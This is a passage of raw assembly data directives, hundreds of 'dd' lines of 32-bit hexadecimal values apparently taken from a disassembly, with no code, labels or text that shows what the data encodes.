		dd 1153BA39h, 5267B9E6h, 5A40E252h, 0D63181A2h,	68A700FFh
		dd 794ABB60h, 65D0B787h, 70921474h, 0A11EB701h,	5EDC17Ch
		dd 0E9020685h, 68D540FAh, 7DC719C5h, 0F305F7Bh,	0E18136AAh
		dd 14121660h, 64B8032Fh, 0BC8D0402h, 4E0C58E7h,	31BEF980h
		dd 2F4B2558h, 0E60702D0h, 0C10BEE43h, 8E4E0452h, 2F6939D8h
		dd 0A46251E2h, 0AA601287h, 0A3EE0C65h, 42A4C1Dh, 741C603Bh
		dd 84069FDh, 58E9175Ah,	2990BECAh, 26780CC6h, 106506h
		dd 71D7291Ah, 3C014135h, 0E825669Fh, 788CBB12h,	0C2E9956Dh
		dd 9160548h, 0D4D1018Ah, 9FE9CFFFh, 0E2EB98DDh,	685C807Ah
		dd 2E447FEBh, 0F413E43Ah, 451273A8h, 0DF17E029h, 0FBA5BE0h
		dd 76E20AF3h, 0CDC24C45h, 0AD3E4210h, 0C1FE5902h, 197C1743h
		dd 262D6809h, 0D6698156h, 0B1F749F0h, 15F5EA79h, 0D43658FFh
		dd 0B99EAC15h, 371177Bh, 9686B256h, 6A478903h, 60E81869h
		dd 57418579h, 0F2C0BF05h, 92BFF62Bh, 0CE569D50h, 7CD9870Ch
		dd 50FC136Eh, 914DC518h, 928876C2h, 65AC2945h, 7055E404h
		dd 6CAA0068h, 1C522C4Dh, 7E5E5A56h, 0A11EBD15h,	0C9A37F13h
		dd 0B29E5746h, 7E0BD7E1h, 0D24409F4h, 0BD7CA2Bh, 1E10D773h
		dd 14B7DEBBh, 0AC681892h, 23E26177h, 9D5FB380h,	4427E070h
		dd 696FFBBEh, 689768DFh, 0D90A5F5Dh, 0F8AFC5Dh,	0BA539897h
		dd 7EF49801h, 1D985F44h, 6EEC625h, 892FBE51h, 4A985DD8h
		dd 794C6347h, 89D0487Ch, 0F8DA9205h, 0FD1A208Dh, 39527895h
		dd 5093442Ch, 548AAF54h, 4E278B5Ah, 0E909A0CAh,	7C20C13Ch
		dd 0DD5FC9EFh, 0E73C0998h, 11DF307h, 0F4A50D08h, 13D880AAh
		dd 0ABE9AAF9h, 69AADD4Fh, 0E40F3249h, 22C07B8h,	0D1D0854h
		dd 8B00AE24h, 494CE048h, 73D97EF7h, 55249D26h, 47F8FCABh
		dd 4FD2D52Fh, 0DC112DD1h, 0C6F03503h, 42B53B7Bh, 34B9D83Dh
		dd 0EB63C152h, 8C80428Dh, 37407FD3h, 8212E981h,	38C0A013h
		dd 2C7149C9h, 1701412Eh, 546F201h, 31164AC8h, 85DA2F83h
		dd 0D858B6AAh, 90D8F6A7h, 4231D6F5h, 5FCC6806h,	8FE768D9h
		dd 7CC90A7Ah, 9578E472h, 728AAFD3h, 79C1B025h, 94806A5Eh
		dd 0B0AC4243h, 0CAA82D7Dh, 734B4971h, 9B820840h, 0FCA42917h
		dd 0F0480505h, 120A8B6Bh, 358CF0E9h, 51213812h,	60E8290Fh
		dd 0F376790Dh, 12AEF274h
		dd 0FF807B3Ah, 0ABE9AF0Fh, 8CEB31A6h, 0C22102D6h, 0F1114C75h
		dd 0E90D4E79h, 3B8B6970h, 5FFC8BB0h, 5628BF9Ah,	5A549D02h
		dd 15FC55C5h, 0BF6E2A4h, 0C25F5D57h, 201477BCh,	0CF51E913h
		dd 2D27F0ADh, 912D5FE6h, 3D9AD394h, 0A8D38616h,	0FAF7F0B1h
		dd 26B23E66h, 2E89CF3Bh, 0C700348Fh, 0C80C7FF6h, 0E9F98904h
		dd 318821DCh, 0EF47176Fh, 5309AA2Dh, 15B3C6DAh,	491CD368h
		dd 4B9EEA40h, 4E2CA2D0h, 0A9D64081h, 76782840h,	0E02E5A75h
		dd 592F272Eh, 0C7097Fh,	804DE4FEh, 0A4F2974Bh, 382FE504h
		dd 0E0FE6CD0h, 3E05E21Dh, 0E3E99103h, 755CE992h, 782DA6D9h
		dd 503EB532h, 950BE934h, 0B2CD93A0h, 0A4595EB6h, 5A41B877h
		dd 0C8453331h, 0C1D054FFh, 7EDCF55Fh, 9D45CACh,	8F708C20h
		dd 0FCFABEEh, 2D0DA658h, 327BE6Fh, 89927F0Ch, 255FF889h
		dd 0F60FA59h, 0B18B4791h, 4B6BC5F9h, 585EC7BAh,	0D00E1832h
		dd 68530363h, 0B7E50B6h, 0E54F42DBh, 0B2C0CBC4h, 4F199B4Fh
		dd 1F385F1h, 0C839CABEh, 0EEC2B7Ch, 0F0E9EB05h,	54CF49C4h
		dd 0D70000FEh, 814E6251h, 50ED09CAh, 11D71DD1h,	0E9FC4AA9h
		dd 0FC8F5F6Fh, 2F878876h, 5B2F20FDh, 9705EBC1h,	1752C801h
		dd 70CBD50h, 0E9224E73h, 5818A409h, 6809E8CBh, 0BC40C6Bh
		dd 126D5548h, 2D308D36h, 3962CB81h, 0F7810F0Eh,	0E7E943D3h
		dd 4D22A5B6h, 0AE81240Eh, 87073410h, 802303E6h,	524D9674h
		dd 2FD90CEh, 782C5E74h,	758E8050h, 0B901B631h, 0B85B00B8h
		dd 88E9B558h, 1815E14Dh, 0D0A8BAEh, 1D4D0704h, 4F490563h
		dd 2CD73D69h, 0E6154CB8h, 0AA735A51h, 0FE12A432h, 0C39D0D7Ah
		dd 8A4DB056h, 4FED2CAEh, 0E20DC739h, 6B4C8E45h,	0AC90E8F8h
		dd 2E0C6812h, 0FB336305h, 1ACFE2EFh, 0EC109080h, 53C32435h
		dd 59684C86h, 3C57C4Dh,	62CFDC1h, 0AD180236h, 5560ACC4h
		dd 0B1FB0140h, 0E502EB91h, 0D7988FE7h, 6C253D50h, 539C7594h
		dd 5B8F6525h, 8F546B45h, 892D8958h, 0BAF53EEBh,	39D8C23Fh
		dd 310A11FEh, 89436BD5h, 9F90F9E8h, 0DBC28981h,	0EDBE9DC7h
		dd 0C56780Ch, 65AF680h,	5CDF90E6h, 55B2E51Fh, 3B9FC978h
		dd 0B3E617A0h, 3B0829C4h, 53A86816h, 7BF589F2h,	1F688484h
		dd 0BB30BA0Fh, 5B5916E2h, 0C5451C50h, 0BDA2E9CFh, 0D0EE30C8h
		dd 49344AF6h, 7101AC27h, 11B2312h, 0FF61F3h, 0B557E908h
		dd 0F150D492h, 0D1AD0E8h, 770C15A1h, 0EC5F75CAh, 2F5FB1Fh
		dd 96F0F22Ah, 3ECC92AFh, 0FC90920h, 0DA543584h,	0E93C1210h
		dd 8BE1255Dh, 58BAF4D2h, 0C182C914h, 0B4C13F6Eh, 5EF155E5h
		dd 0FA98123Bh, 1030C839h, 0B0D0210h, 0C8E94F15h, 2C0B8D5Eh
		dd 0C07F554h, 0EE9FB4EAh, 0F038FCB4h, 0EC360DEh, 105D829h
		dd 37AA7E1Bh, 6A5C26Eh,	0A745B52h, 5429737Ch, 0DCADC77Ch
		dd 0D4E350C9h, 85DFFCB7h, 0E86F7F2Ah, 84AF4A9Dh, 427A8653h
		dd 0B381EC97h, 2FE91E8Dh, 0C6801001h, 12B82F45h, 4E06CB75h
		dd 4B2A404h, 78821CB5h,	0B74AA714h, 0FCFA88E2h,	7FFE8830h
		dd 0CB125612h, 12CCE3AAh, 0F9C9B952h, 2E68F224h, 0C225012Bh
		dd 0B347Ah, 2843050Ch, 218B049h, 313914D3h, 89F5D7E9h
		dd 3045DD9Bh, 39893608h, 5AE7EFA6h, 5BE95C68h, 0E09564BAh
		dd 2F749B04h, 0AE0E5E3Bh, 9B1C21Fh, 916259C8h, 23D58B82h
		dd 0DC816BD1h, 214BBD15h, 40B89460h, 669B5ED1h,	140B5188h
		dd 0AE02D066h, 0C0B70F6Eh, 57082B53h, 98DA20CDh, 0DA92C260h
		dd 1A401B4Dh, 1EC71637h, 8C82DDBBh, 24DC33h, 0FCF00335h
		dd 0C24A01D6h, 0B80590BAh, 4B121F69h, 0DBFD0938h, 0E22DC097h
		dd 1E004072h, 0F3D534BFh, 4B62E910h, 21A7893Ch,	308938CDh
		dd 3F1E3258h, 0FD704BFAh, 5201737Eh, 0E92D311Fh, 917FABA9h
		dd 3D606C2h, 7D09E25Ah,	44F4D610h, 0C44FEF94h, 16560868h
		dd 0D11126Fh, 6C15CC9Dh, 51402754h, 2FF02596h, 78EC3F16h
		dd 1A86C4FFh, 295F0C08h, 0B58DD806h, 0E9505971h, 0C05640F7h
		dd 6C608F8h, 0E01F6807h, 8A34CA28h, 0C8FE609Dh,	5326EF2Ch
		dd 2709F488h, 0D13FE830h, 42CF256Eh, 0CD0FB150h, 0B2169719h
		dd 879151C3h, 0FA5D3C83h, 910788EDh, 0F6B01A09h, 0B26850D0h
		dd 70A77562h, 28A0DF9Bh, 20AF59E2h, 0B98AC690h,	0D5BE13D7h
		dd 135DE2AFh, 0ABCCB40Fh, 6647DA61h, 5D766977h,	0BEFB27Eh
		dd 0F304EF83h, 0E9540396h, 0BE842FFAh, 0D19378B2h, 17CF3A02h
		dd 40877B63h, 4BEFF866h, 0A060EFBDh, 0C6C49B8h,	4DBA3238h
		dd 0C24D310Bh, 0D501C54Bh, 3B3E29AEh, 6C3E6829h, 0EB800CF9h
		dd 0CA01824Ch, 60C39369h, 4760AAABh, 1029F717h,	206B7B58h
		dd 0BE058C85h, 0FA67F0F5h, 4A47B6FEh, 2F6887F0h, 161828FFh
		dd 18B5A010h, 80BDC798h, 4011568h, 405867ADh, 0F93122Dh
		dd 1CA0589h, 0D374D8FAh, 0CC600AEEh, 513AE59Bh,	289BDA8h
		dd 4978015Fh, 3341EB89h, 0BF0086E8h, 9A38552Bh,	59C4CB47h
		dd 1089EB80h, 814B01F7h, 5C3F38E6h, 0A7A12074h,	6D9D0812h
		dd 13639914h, 38526656h, 4ED28A21h, 64077236h, 0D56AEE46h
		dd 0D413FABDh, 52CF06ECh, 622B6E89h, 4D58ED7Ch,	0E30DC0A3h
		dd 581CC380h, 0CB1608CFh, 0D58B55DDh, 0FEFD9677h, 59864955h
		dd 54E4F202h, 71FD28A9h, 172962ECh, 96BDC898h, 1B9D3812h
		dd 0D3D2B607h, 0E9E20D87h, 881D45Dh, 0C02F46C0h, 2A5C3578h
		dd 955F1EC5h, 0B2A54BEDh, 1727594h, 0BD98E926h,	0BC307DAFh
		dd 689FA43Ah, 2CE0B918h, 9EA426Bh, 55FED3CFh, 1940D8C2h
		dd 43FCE450h, 8F62659Fh, 19E75657h, 0E94A2066h,	2F9F45B5h
		dd 0C251C0F5h, 0BF22174h, 2DA685Eh, 67B5E5B0h, 705B8B27h
		dd 0F8E91717h, 0E238F426h, 279B664Eh, 9ED6E909h, 0A86E4D5h
		dd 0C4128C13h, 510A0EB6h, 1FF439EBh, 7E9B6E21h,	5ECEF1A3h
		dd 4C5E73Eh, 8C14C9B9h,	80504C87h, 2D42936Fh, 0D9C2B6E9h
		dd 5064F179h, 0E90A00DBh, 971D9808h, 0A46FB85Fh, 5E3BCCBEh
		dd 93F30126h, 97F8B315h, 0E9F73631h, 80566670h,	9FA0F988h
		dd 5E9D9573h, 26A82B2h,	0F580281Dh, 46BF079Eh, 0E9E5C0B7h
		dd 40CA5EF0h, 52BAF35h,	9B8436Fh, 2804350Bh, 20852C19h
		dd 1A41704Dh, 6186E91Bh, 2AC3D880h, 7FB02861h, 34403B90h
		dd 74D77231h, 987BE9FAh, 0CF527E45h, 27573D67h,	0BFFFD029h
		dd 2925D067h, 200472F9h, 5A4FA0CAh, 27B816B0h, 66D44BB6h
		dd 48B75300h, 0B594CF80h, 4C3087D8h, 0DDC74B32h, 62B8243Dh
		dd 2D58092Bh, 0C4411Ah,	4A3DD138h, 1019DABFh, 0C84AD8D9h
		dd 0F167106h, 35094BF0h, 0F096E423h, 0EF2AD3F8h, 194CF19Ah
		dd 0BE8853B5h, 5B53114Bh, 0CE4C30FFh, 4F09F318h, 0FA2CE6E9h
		dd 13A82797h, 333089DBh, 730B5305h, 0CB30C810h,	0E91DC2Dh
		dd 0F766FFEFh, 0F5700615h, 180461BCh, 1DEE4C04h, 0C4783B29h
		dd 0C9F460h, 668585Bh, 0EA1A9545h, 1446875h, 0C1E935CAh
		dd 8907C2CFh, 0A78145F5h, 0F72D89D8h, 802F42DDh, 0D66D4031h
		dd 0F75B926Ch, 59099CD4h, 0B80E38DDh, 0E5F46FFEh, 0DC491F05h
		dd 55D4BF30h, 965D0809h, 6D397C7h, 19907F4Bh, 0CD2FE9E1h
		dd 0BD31738Ch, 16F6369Ah, 2E59CC99h, 4ACBF35Fh,	0C88AF91Bh
		dd 0A4E9043Bh, 0AC31AEBAh, 2058D25h, 362E4AB6h,	880487Ah
		dd 5903C829h, 5E5B055Dh, 8F01DD3Fh, 6AC57A2Bh, 0A518413Bh
		dd 7201A617h, 95E9C342h, 0F0B64EB8h, 101F6C9Bh,	0C5097688h
		dd 2B4A10AFh, 0A2510F90h
		dd 8EABD031h, 0E0770A42h, 91A716B0h, 0BA51495Eh, 734F644Ah
		dd 2CD00D07h, 502E0049h, 255116B4h, 5A4037E9h, 0F74CE6D1h
		dd 4ACE1811h, 3D1765FFh, 0E72C3C7Fh, 475DA507h,	7B3442D7h
		dd 0B704A3E4h, 560EE31Bh, 7D9199BBh, 0CBBA6068h, 9F4BC70Bh
		dd 5201E5D2h, 5671E606h, 0C66C68E9h, 0F64C873Bh, 6013C838h
		dd 0AC570B1Eh, 39E56455h, 402538A1h, 0C596B15Ch, 0B4EBEF84h
		dd 825B4494h, 0A3AA72EAh, 7D1A09FDh, 0D1BF1566h, 5D88138Eh
		dd 532A922Ah, 0B11AA843h, 0ED68BBA2h, 71FDEFC0h, 8BBF6FDEh
		dd 0EDEC5DEEh, 0FA8D3C96h, 0E32B3881h, 89F8D3DEh, 0BC2BE58Dh
		dd 4B0D27A7h, 220882B7h, 242CD28Bh, 20041F65h, 0E4B3B30h
		dd 0FCBACACh, 5625E2DEh, 5456781Eh, 5589149Eh, 7A167461h
		dd 0CF168AF6h, 0B2A557B8h, 0AAF992DCh, 0B2576882h, 37976AE0h
		dd 259710ACh, 0D7EEAC22h, 0FE8DC46Ch, 89DF48E2h, 387FA7A6h
		dd 142C700h, 0E9603630h, 0DE6A3109h, 0F0EA92F7h, 768159Ch
		dd 407C9B10h, 44C9F7C5h, 28AFF75Eh, 1068D801h, 0C5FE680Bh
		dd 0B2CE1377h, 972DF35Fh, 345A76ECh, 0CBB0EEDDh, 4C705EFEh
		dd 0E92F2081h, 0EDB29330h, 1624DDEEh, 0BF5B5C29h, 7CA05B40h
		dd 0BF587A65h, 73BDFE46h, 227F2D59h, 980CC3Ah, 6806775Ch
		dd 2F670354h, 4C593E63h, 0AD664DCAh, 43B00F3Fh,	6024C288h
		dd 1EC88B9h, 0F4FB323Dh, 0B08C659Fh, 0A3FAC3ACh, 9B0EF4Eh
		dd 0DDCC4F79h, 6822ED5Eh, 9DAF4AB1h, 47983BECh,	4D3009BAh
		dd 0AB7E431Eh, 67C0D792h, 954CBC68h, 30FEA2ECh,	0EFCC7EBDh
		dd 42AB0369h, 1F79157Dh, 0FE712F2Dh, 45EEC212h,	1555FEEh
		dd 0EA38BED8h, 0F37F6042h, 6A0CFC16h, 9518E41h,	5617E1Eh
		dd 0B53D3920h, 25986F1Bh, 0D7482617h, 0E2E34AFDh, 48170258h
		dd 7FE9EE0h, 5FC9805Ch,	861EE930h, 0D3F60FD9h, 0D00B5066h
		dd 0BD008AD2h, 1F035A30h, 72857BBBh, 0C0F89771h, 0BDA5D5Dh
		dd 0B00A4868h, 3E29A56Bh, 7D977020h, 0C720603Bh, 174A8359h
		dd 450E1A0h, 3163666Eh,	0CD60BFD1h, 40358805h, 2D50C8D9h
		dd 0E92F5907h, 9E341E3h, 0AB8CC53Ah, 0F65BC9F6h, 0E9D20461h
		dd 0BF00712Bh, 69014061h, 22842D1Fh, 0F7E81752h, 0EC050741h
		dd 0F59E0E8h, 405DD4C5h, 2858C59Eh, 663E59E8h, 7A122F68h
		dd 9738EE4Eh, 0DB777C62h, 2E941CFh, 0DBD72B05h,	843F0559h
		dd 8FBBA412h, 7F0E17EEh, 5A36C8AAh, 0F1F142E3h,	52894C45h
		dd 2E93D18Ch, 0D8B55844h, 0E0E58026h, 0E6ABA909h, 8F742FDDh
		dd 558C92D7h, 0DDE90E6Bh, 9E72221Bh, 0FEC0F5D6h, 0F832EDBEh
		dd 0B7D49F7Eh, 0E9062924h, 2D2AB84Dh, 16552C29h, 78C5059Eh
		dd 807FB26Ah, 4C766CEBh, 0D8368AC5h, 8B9EF8B9h,	0B19A7EF7h
		dd 0F7742189h, 0ABCF049h, 5F7A6433h, 8C84D95h, 3D4FE90Ch
		dd 68583102h, 0F28BD7ACh, 9643B055h, 0B09B5E3Ah, 0C5026E3Bh
		dd 9AE9FE64h, 7350F259h, 27EF0F04h, 0C70EF728h,	0AFF0E9A5h
		dd 6DB29130h, 0F8695E68h, 9CB3C087h, 0C6AE380h,	0D2F6D386h
		dd 390C008h, 2A16C3F8h,	8FEBDA28h, 0B1DE405Fh, 86BC314Bh
		dd 840A6C24h, 0C25CE681h, 585D1532h, 58F80A9Fh,	2D671ABh
		dd 4FB90790h, 172752F7h, 0BF02F180h, 0F27ED39Dh, 0AEA07C8Dh
		dd 0A426734Ch, 0CA01522Ah, 5B6F6726h, 9788B96Bh, 5ACC91A5h
		dd 97495C2Ah, 415B7C3Bh, 0F4321F4Eh, 1E342F7Eh,	0C13FA84h
		dd 16BE820Ch, 9E1CEA21h, 7D8E58E4h, 90B922C0h, 0F42BDA71h
		dd 2F5D92EDh, 1845545Ch, 0B00EFC21h, 572C4962h,	0C80114Ch
		dd 539D595Fh, 0FBD64952h, 2096F8E2h, 79E49DC3h,	0FBBCF34Bh
		dd 94C45227h, 64030507h, 0D0E25532h, 5A07802Dh,	0E1619068h
		dd 902DE37Fh, 8DE110EBh, 593C64Dh, 5CF8CE22h, 670D4081h
		dd 0C3F18165h, 38DC181Dh, 640CC981h, 0CE86365Ah, 241A61E4h
		dd 5B6CE100h, 0C0E97491h, 0A6E7BD53h, 90125010h, 8DB6ABAAh
		dd 56C80F1Fh, 68AD425Ch, 86A27F58h, 0C6467DB3h,	902EE892h
		dd 4E260D60h, 3329303h,	36CAB00Eh, 0BFAB5071h, 440512F2h
		dd 0C2AF00CFh, 24879FDEh, 8A5FF8D2h, 0E553FD0Ah, 496DCC0Fh
		dd 1D85FC5Ah, 644F98E7h, 1B0B788Ch, 0D0A0E92Dh,	60D0B7F8h
		dd 0C679EEEBh, 5F9CA962h, 0F9971166h, 0A5BA12BFh, 7FDD85Ch
		dd 0C0125125h, 70156825h, 13D6BD3Ch, 9AB951E0h,	8F4285Ch
		dd 0AC4A30D8h, 65BEC245h, 3A98BB90h, 8B4D567Eh,	2E257561h
		dd 50327E7Ch, 93BC577Eh, 55B18C62h, 9BC9261Bh, 5EEA04C2h
		dd 320C49FFh, 0B1BF2F44h, 4181A883h, 257473BAh,	34C83E70h
		dd 503C9010h, 17CFC74Dh, 0FA4F576Dh, 0BED1C04Ah, 5BD98984h
		dd 21162AF3h, 3B90CDC8h, 919F3191h, 33545501h, 0F7F6D6EAh
		dd 0B63FE9C2h, 2F7CF17Dh, 0ECB06E4Fh, 2416AFBAh, 1A231BB3h
		dd 0F17D0DABh, 9EE961D1h, 17156D8Fh, 1C065751h,	12148E21h
		dd 0CAB0EB80h, 0D8200056h, 5E95B66h, 360999Fh, 71FA3AC6h
		dd 0BB99C3D9h, 4C941517h, 0D2474ACDh, 0B5020CCDh, 0C3124046h
		dd 96A3025h, 0B1F0ACD6h, 83972B77h, 5E8B3E53h, 14F8323Dh
		dd 496700Eh, 0ABAEE3C3h, 1194E437h, 3E024D09h, 0D709930Eh
		dd 156D6580h, 0EFEC51E2h, 72065D0Bh, 0E96E8231h, 4FACD818h
		dd 8422A65Eh, 0B300DBE2h, 8E3C077h, 0B6F38000h,	0D3F6CBFEh
		dd 0B72D26E9h, 0FC0D9602h, 0C956DFA3h, 0E2BD5CC0h, 1C5317Ch
		dd 3E9740BCh, 0F62D92E3h, 71FB268Bh, 5FC93C47h,	68083267h
		dd 0C14E1FBDh, 0D92217CEh, 0A9D08311h, 0B0A080Dh, 0F7F6DC0Ch
		dd 0CBE1407Fh, 8C4BBD1Ah, 389824B9h, 7A5D94AAh,	231D6435h
		dd 0AE7512AEh, 0A55EBFD1h, 1678D580h, 0D5F77490h, 229FFDA0h
		dd 0D8BC6382h, 0A071A953h, 2F401EA6h, 0FC782B5Bh, 7FC64F67h
		dd 0B4C2F4E5h, 29B24861h, 270E98D0h, 6AC6C9E3h,	40A0BD5Bh
		dd 0C8CF9953h, 776319F6h, 96A56AC3h, 4B2841EDh,	0C2315909h
		dd 81B76916h, 60531D8Ch, 0F723002Eh, 64C40DD0h,	40483D00h
		dd 0EA4D7C05h, 99314F5Bh, 0DB6340F6h, 1EB8CD05h, 74C2435Bh
		dd 65117752h, 10502966h, 0A94B79BEh, 0E2A089ADh, 4DD17F63h
		dd 20485FB6h, 0B9011802h, 5B982DBFh, 0D82ECE29h, 0EE5CC122h
		dd 4DF6022Fh, 610DDE69h, 9E4D2FE9h, 0CF63FE2Bh,	0F68D5878h
		dd 0F7743513h, 5F6169A8h, 0E5C87CD9h, 0F7658938h, 74FF001Ah
		dd 0BD3E3370h, 0F20433DAh, 28FB589Ah, 4187187h,	0FB6B9D68h
		dd 8207D3D8h, 6CE29DC0h, 0F8D81895h, 932CB7E8h,	9096B62Ah
		dd 4BBD0F4Bh, 0BEAD2007h, 517AE19Dh, 20F08C67h,	0D13BC4B1h
		dd 0E7E2AB5Ah, 81E1E789h, 60B9C751h, 81BC6FE1h,	0BB545285h
		dd 0EACB00B3h, 0B766B4FDh, 0E5E97C38h, 9656DD59h, 0CD1017A9h
		dd 0CFBD00A1h, 81109D5Bh, 3DF05F5h, 0E8292CD2h,	775D5A2Eh
		dd 4127ED42h, 1B9AE07Ch, 29FCE9BFh, 3190272Ch, 70F5142h
		dd 0E90B1194h, 7EFB7DF4h, 0F0F51ADh, 0E1FF7877h, 1BC42E12h
		dd 5A00CFAFh, 12B03888h, 0FB462128h, 11BE1B00h,	98486502h
		dd 23F6053Bh, 0C068630Dh, 0F7584623h, 3BE83B4Ah, 8C5080A4h
		dd 21608845h, 0F43F9A2Ah, 0F10130DEh, 6899C11Eh, 0F952693Fh
		dd 0F74DE938h, 8FB470FFh, 0CC40BB41h, 4D82AD4h,	4F1C2D41h
		dd 0A0D0BE31h, 0BF5F5E57h, 1E8EA380h, 0E9124932h, 49AD9209h
		dd 93FF848Ah, 0BD030052h, 0BA65297Fh, 20020F09h, 0E9F8024Ah
		dd 2727D68Ah, 18483C5Fh, 50EE1EE9h, 0F995215Ch,	0CA776B18h
		dd 1771F776h, 0FA94E465h
		dd 25E502FFh, 6E7FEF30h, 858FA1E1h, 4B80D922h, 3D68DBF7h
		dd 44270E67h, 87F280A8h, 2154F027h, 2BBF0BBDh, 0D59E068Dh
		dd 39F19770h, 2341054Bh, 9BB5FA0h, 666F6A0Bh, 5A7422FFh
		dd 795F0972h, 0C08D8B06h, 3C6647Fh, 327B1929h, 44CD8F7h
		dd 4B15168Fh, 580307AFh, 7C68DB89h, 5C802EA4h, 9599EE61h
		dd 78C5F6C2h, 80C2B241h, 5C09DC8h, 59E907EAh, 5F24A450h
		dd 9C4669Fh, 59646852h,	7FDAC074h, 0ED199E94h, 9DA22B1Ch
		dd 0D2EAEC6Ah, 0BE0885ABh, 20A822D0h, 17C229Dh,	0CA46CF8h
		dd 90385B90h, 7EBD7062h, 0C825AD8h, 0D4D452E9h,	0AE004113h
		dd 44DD62CDh, 0A689A21h, 84202F1h, 0A2A609F1h, 88262F64h
		dd 0FEC75DD4h, 0B25253B1h, 8000C0CDh, 0C2F813CAh, 320E04D9h
		dd 17F7F2E8h, 0AE5AD388h, 2AE9B602h, 94C5236h, 0B6090AACh
		dd 0AFEF5704h, 48A01849h, 12C2F2D6h, 0BA95BEE7h, 0ED83D205h
		dd 0D14E90B6h, 34A37217h, 3B9E74CDh, 604AF460h,	0AF5E5A05h
		dd 0AE66414Bh, 4C4F9275h, 0AA38C402h, 0E5CB88EAh, 4438E17h
		dd 160812E0h, 2094EFE9h, 0B16E904Fh, 0E1C10A4Bh, 68006948h
		dd 7D1779E6h, 7DD0590Eh, 4F92C63Eh, 2D8E8FBh, 0CC241BBBh
		dd 9D72410Eh, 572C4A63h, 502F0B61h, 0F70C0574h,	79890F99h
		dd 0E90125FDh, 0E697F314h, 9281BD18h, 0C2736568h, 3FA6C5F7h
		dd 0E39B349Bh, 0C8C19C03h, 0E98EEF83h, 6328E63Ah, 4301C148h
		dd 685B7119h, 34A9794Dh, 7980AF3Ch, 5FAD3B16h, 0B669FE60h
		dd 0E5F91A74h, 5081BA04h, 53EEFC68h, 3B64105Ch,	1D1D3657h
		dd 0E05D4FECh, 0BFF85562h, 59B78A70h, 96F5CB5Eh, 693EBC6Ch
		dd 0EE86B792h, 70B55FA4h, 0C1AB949Ah, 0E670E953h, 0E281A591h
		dd 2CF36A7Dh, 5E9AA2BCh, 4077EAABh, 0E865A8C2h,	257510A3h
		dd 0FAC10AA3h, 2F17CC81h, 0FD0DE125h, 821F5923h, 0DD0956C0h
		dd 198B1C9Ch, 966C5DB3h, 7F4E6FB0h, 0E1C421ACh,	4FE4BA5h
		dd 0CF9FB5Bh, 7631C205h, 2D4FF061h, 0F96AEA2Ch,	7A931C30h
		dd 0C1081B6Dh, 839882EFh, 615B3F63h, 0AE76FE4h,	729123Ah
		dd 0F3400E2h, 15E92B5Dh, 0D8716B61h, 7DE5505Bh,	0D434F82Eh
		dd 8DA510ABh, 3AD04D28h, 0D8F2738h, 821CEDD1h, 164E5B32h
		dd 0E80C88D5h, 68641209h, 0B7E2CCE2h, 8EB9068h,	79C51C50h
		dd 0F9582D40h, 97704EDCh, 502B87C8h, 5F875D82h,	0C949F756h
		dd 23AF2E7Bh, 2DCA8EDh,	860055Eh, 0F7D410Dh, 8EEEA5D8h
		dd 0B65C50CCh, 0B2B0C2F6h, 40D89548h, 354E41F0h, 0A4D8DFFCh
		dd 729482B8h, 10CE088h,	2F3D3B05h, 62B2D424h, 264F63Dh
		dd 2E752333h, 521F5C5Fh, 21685810h, 6A306513h, 0E9824CA8h
		dd 24C78D6h, 8517C95Fh,	397004BFh, 6EBF9ADh, 3E5366Ch
		dd 2E0F090Ch, 425546C9h, 0C080D12h, 0C38B1405h,	8DCC3A60h
		dd 0D6BFEED5h, 6E986D3h, 0C14B67E0h, 3F6B64FDh,	543F3AA2h
		dd 90BDEC5Fh, 4B145DE3h, 0CA96EA30h, 235C1064h,	0FDF203E5h
		dd 771956h, 0D95CA918h,	0E9DA876Fh, 57FCBB4Ah, 7FCF30A1h
		dd 7D808634h, 4FF102EAh, 74A9C044h, 0E9133CBEh,	0C6E36CCBh
		dd 0F5998A15h, 0D1F7CE0Dh, 91632008h, 18216202h, 566850E9h
		dd 80DD527Ah, 414AAD64h, 0BC9FC57h, 50716CB4h, 5AFEE680h
		dd 72B50A01h, 13D31659h, 462405FAh, 72CCE40Dh, 5CB65280h
		dd 0BA2A786Ch, 9585A4Dh, 94DB5F5Eh, 66047909h, 0BD412456h
		dd 0DE3DC200h, 1209B60Ah, 754409E4h, 15F880B0h,	0BF49CC26h
		dd 975D403Fh, 0ED40C89Ah, 669D7D15h, 1ACA291Dh,	0C471133Bh
		dd 7141EA7Bh, 0A61435Dh, 37D0120h, 29FC5E2Dh, 60959CFh
		dd 0E60FA7E9h, 7C9B2093h, 7F375E5Fh, 0F44153C2h, 0B5ADBBECh
		dd 0F0307AE0h, 4E445A58h, 0C6A0FA13h, 5B7040B0h, 0B236D8BFh
		dd 270F5D37h, 1E4A9870h, 0AD2CE828h, 25B9145Dh,	197E5B54h
		dd 0A422B0D0h, 0D0397F4h, 0FF853AA2h, 0ED7EED99h, 8EFB9719h
		dd 235724D5h, 0DC41F409h, 33C66015h, 59585CA1h,	177E5867h
		dd 42A3A953h, 575E5880h, 1E970168h, 0C92148BAh,	129F518Ah
		dd 35EFF0F5h, 0D87AF00Bh, 2F3FD05Ch, 78F1ADA9h,	6281F9EBh
		dd 5804F41Dh, 934180BBh, 2F5F9110h, 9A5174ECh, 9088C1D6h
		dd 0AA011996h, 86B46997h, 0F45C7392h, 6468502Ah, 5E305517h
		dd 29A0BBAh, 2BF44800h,	0E1B519CFh, 29650835h, 165E340h
		dd 0C26A5C8Ah, 1B9A5632h, 52CC10F7h, 374513BAh,	0AA00EF8Dh
		dd 3FE4190Bh, 6BAA38E9h, 0B460E85Fh, 0F6BECF81h, 0A03BFB75h
		dd 0ECE791E8h, 489581A7h, 3C2EE60Eh, 0EE800B8Ch, 112D1833h
		dd 39DECDE9h, 24C6E6DEh, 0F224421h, 1F7967B9h, 5835C681h
		dd 0AAC74156h, 81566EFFh, 0BB0027F9h, 7F931106h, 1F8DE21h
		dd 0E989674Eh, 9F7826E1h, 6B67BE5Bh, 4C9B67D2h,	0CDA62FA8h
		dd 610D2EF7h, 5FD11CBDh, 0A871A265h, 0E491E83Fh, 0E98226E2h
		dd 947F105Ch, 8BB7309Fh, 2F96C317h, 97309B3Dh, 0E8CC41F0h
		dd 135A126Fh, 0D68BE84Dh, 22BECE57h, 0B488A4Ch,	60EE4DB5h
		dd 0E5A5B854h, 0C069150Ah, 0AE2EF216h, 1F20FE88h, 5C054268h
		dd 0CC05A34h, 0D34C25FAh, 843017D2h, 76A40221h,	46EE9181h
		dd 2E366721h, 580B1562h, 2059B020h, 6816C28Ch, 118C429Bh
		dd 3D484B57h, 0CB9220D7h, 4BE90B40h, 582E0910h,	0F25B8BFFh
		dd 30FB487Eh, 0CDCDDB13h, 0BE768BC4h, 0E77E224Fh, 0A2664307h
